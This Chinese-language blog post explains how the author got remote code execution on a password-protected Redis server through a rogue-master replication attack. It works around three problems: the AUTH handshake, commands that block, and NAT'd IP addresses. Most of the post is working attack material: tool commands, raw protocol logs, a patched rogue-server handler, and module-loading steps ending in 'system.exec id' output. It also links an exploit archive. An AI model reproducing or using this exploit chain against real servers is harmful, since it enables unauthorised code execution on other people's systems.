

# Redis getshell三个小坑

## 一、前言

测试了一个有密钥redis的服务，已知密码，无法使用通用工具无法RCE。

## 二、被卡住1-redis主从复制过程

```
~/Downloads/Redis-RCE / master python3 redis-rce.py -r -L -f exp_lin.so -a 123
REDIS RCE
[*] Connecting to 1:6379...
[*] Listening on *:21000
[*] Sending SLAVEOF command to server
[*] Accepted connection from *:59286
[*] Setting filename
[*] Trying to run payload
[*] Accepted connection from *:21000
```

遇到的问题，看log日志是卡在复制那一步。最简单的做法是换工具，于是找了其他很多的工具均是一样的问题。

同时观察Replication，发现是有更新的，说明redis是有更新的，那么大概率就是脚本的问题，而非redis的问题。

```
# Replication
role:master
connected_slaves:0
master_replid:68d796217e4cecaf433dee4f1f34fbbe6ecc2a13
master_replid2:bf793c62ffb697eaf7274428038ac68309146a58
master_repl_offset:0
second_repl_offset:1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0
```

于是找了一眼可以打印所有通信过程的利用py。

```
1 git clone https://github.com/vulnhub/redis-rogue-getshell
```

```
~/Downloads/redis-rogue-getshell / master python3 redis-master.py --rhost 123 --lhost 123 --file exp.so --auth 123
>> send data: b'*2\r\n$4\r\nAUTH\r\n$9\r\n123\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*3\r\n$7\r\nSLAVEOF\r\n$13\r\n10.35.192.207\r\n$5\r\n21000\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\nndbfilename\r\n$6\r\nexp.so\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*1\r\n$4\r\nPING\r\n'
>> receive data: b'*2\r\n$4\r\nAUTH\r\n$9\r\n123\r\n'
```

发现返回的同样，可疑的是给了一个返回验证，并且卡在此处，于是猜想根据我们发送验证给redis服务认证，redis返回一个OK，此时我们返回一个OK给redis是不是就OK了？

下面是我们发送redis的验证过程：

```
1 >> send data: b'*2\r\n$4\r\nAUTH\r\n$9\r\npassword\r\n'
2 >> receive data: b'+OK\r\n'
```

```

23 def handle(self):
24     while True:
25         data = self.request.recv(1024)
26         logging.info(msg: "receive data: %r", *args: data)
27         arr = self.decode(data)
28         if arr[0].startswith(b'PING'):
29             self.request.sendall(b'PONG' + DELIMITER)
30         elif arr[0].startswith(b'REPLCONF'):
31             self.request.sendall(b'+OK' + DELIMITER)
32         elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):
33             self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b'1' + DELIMITER)
34             self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)
35             self.request.sendall(self.server.payload + DELIMITER)
36             break
37         elif b"AUTH" in arr[0]:
38             self.request.sendall(b'+OK' + DELIMITER)
39
40     self.finish()
41

```

并且关掉卸载

```

112 client.send([b'MODULE', b'LOAD', b'./exp.so'])
113 client.send([b'SLAVEOF', b'NO', b'ONE'])
114 client.send([b'CONFIG', b'SET', b'dbfilename', b'dump.rdb'])
115 resp = client.send([b'system.exec', command])
116 print(decode_command_line(resp))
117
118 # client.send([b'MODULE', b'UNLOAD', b'system'])
119
120

```

```

>> send data: b'*2\r\n$4\r\nAUTH\r\n$9\r\n123\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*3\r\n$7\r\nSLAVEOF\r\n$13\r\n\r\n$5\r\n21000\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\nndbfilename\r\n$6\r\nexp.so\r\n'
>> receive data: b'+OK\r\n'
>> receive data: b'*1\r\n$4\r\nPING\r\n'
>> receive data: b'*2\r\n$4\r\nAUTH\r\n$9\r\n123\r\n'
>> receive data: b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n'
>> receive data: b'*3\r\n$8\r\nREPLCONF\r\n$10\r\nip-address\r\n$14\r\n10.236.177.110\r\n'
>> receive data: b'*5\r\n$8\r\nREPLCONF\r\n$4\r\nncapa\r\n$3\r\neof\r\n$4\r\nncapa\r\n$6\r\nnpsync2\r\n'
>> receive data: b'*3\r\n$5\r\nPSYNC\r\n$40\r\nbfb793c62ffb697eaf7274428038ac68309146a58\r\n$1\r\n1\r\n'
>> send data: b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\nndbfilename\r\n$8\r\nndump.rdb\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*2\r\n$11\r\nsystem.exec\r\n$2\r\nid\r\n'
>> receive data: b'$36\r\nuid=1001 gid=0(root) groups=0(root)\n\r\n'
uid=1001 gid=0(root) groups=0(root)

```

```

6379> system.exec id
"uid=1001 gid=0(root) groups=0(root)\n"

```

### 三、被卡住2-执行命令被阻塞

这里可以通过fork方式，干掉输入输出流即可。

## 四、被卡住3-IP的问题

目前容器都有External IP的东西，但是不仅仅容器有这种，虚拟机同样有这种东西。

所以ifconfig的ip并非真实IP，导致攻击失败。

```
1 python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisMoc
```

修改下面的lhost为vip即可。

```
1 client.send([b'SLAVEOF', lhost, lport])
```

## 五、总结

Redis 利用没有对返回验证进行处理导致流程被卡住，不过这个bug一直没人发现吗（Redis rce都打了这么久了）？



redis-rogue-getshell.zip  
0.4MB

预览